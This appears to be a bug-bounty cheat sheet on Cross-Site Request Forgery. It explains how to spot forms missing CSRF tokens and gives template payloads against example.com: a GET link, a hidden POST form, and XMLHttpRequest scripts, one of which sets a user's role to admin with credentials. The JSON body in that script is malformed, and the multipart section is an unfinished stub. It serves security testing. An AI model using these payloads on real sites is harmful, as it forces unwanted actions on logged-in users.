# Cross Site Request Forgery (CSRF) ## Introduction Cross-Site Request Forgery (CSRF/XSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated ## How to find Usually found in forms. Try submit the form and check the HTTP request. If the HTTP request does not have a CSRF token then it is likely to be vulnerable to a CSRF attack. But in some cases, the CSRF token can be bypassed, try check this [List](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Bypass/Bypass%20CSRF.md) ## How to exploit 1. HTML GET Method ```html <a href="http://www.example.com/api/setusername?username=uname">Click Me</a> ``` 2. HTML POST Method ```html <form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST"> <input name="username" type="hidden" value="uname" /> <input type="submit" value="Submit Request" /> </form> ``` 3. JSON GET Method ```html <script> var xhr = new XMLHttpRequest(); xhr.open("GET", "http://www.example.com/api/currentuser"); xhr.send(); </script> ``` 4. JSON POST Method ```html <script> var xhr = new XMLHttpRequest(); xhr.open("POST", "http://www.example.com/api/setrole"); xhr.withCredentials = true; xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8"); xhr.send('{"role":admin}'); </script> ``` 5. Multipart request Soon